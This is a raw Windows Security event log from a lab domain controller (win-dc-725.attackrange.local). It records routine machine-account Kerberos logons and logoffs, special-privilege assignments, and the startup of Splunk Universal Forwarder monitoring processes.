LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256717
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C452

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256716
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44C452
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49162

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256715
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C452

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256714
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C3E6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256713
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44C3E6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49161

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256712
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44C3E6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256719
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256718
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256720
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256732
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DA5E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256731
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DB6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256730
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DBB4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256729
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44DC9A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49166

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256728
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DC9A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256727
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44DBB4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49165

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256726
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DBB4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256725
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44DB6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256724
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DB6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256723
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x44DA5E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49164

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256722
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DA5E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:42:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256721
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256733
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256734
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256735
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:42:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256736
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x44DC9A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:42:59 AM
LogName=Security
